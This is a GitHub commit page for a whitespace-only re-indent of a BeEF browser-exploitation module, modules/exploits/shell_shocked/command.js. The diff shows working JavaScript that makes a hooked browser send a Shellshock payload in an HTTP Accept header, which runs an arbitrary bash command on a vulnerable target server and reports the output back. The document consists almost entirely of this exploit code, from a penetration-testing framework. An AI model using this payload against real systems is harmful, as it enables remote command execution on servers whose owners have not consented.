Skip to content

Commit

Permalink
Re-indent
Browse files Browse the repository at this point in the history
  • Loading branch information
bcoles committed Oct 29, 2014
1 parent 8e3c8e4 commit fb57121
Showing 1 changed file with 4 additions and 7 deletions.
11 changes: 4 additions & 7 deletions modules/exploits/shell_shocked/command.js
Expand Up @@ -5,7 +5,6 @@
//

beef.execute(function () {

try {
var target = "<%=@Target%>";
var command = "<%=@Bash_Command%>";
Expand All @@ -20,10 +19,8 @@ beef.execute(function () {
}
}
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
xhr.send(null);
}
catch (e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
xhr.send(null);
} catch (e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
}
});

});

0 comments on commit fb57121

Please sign in to comment.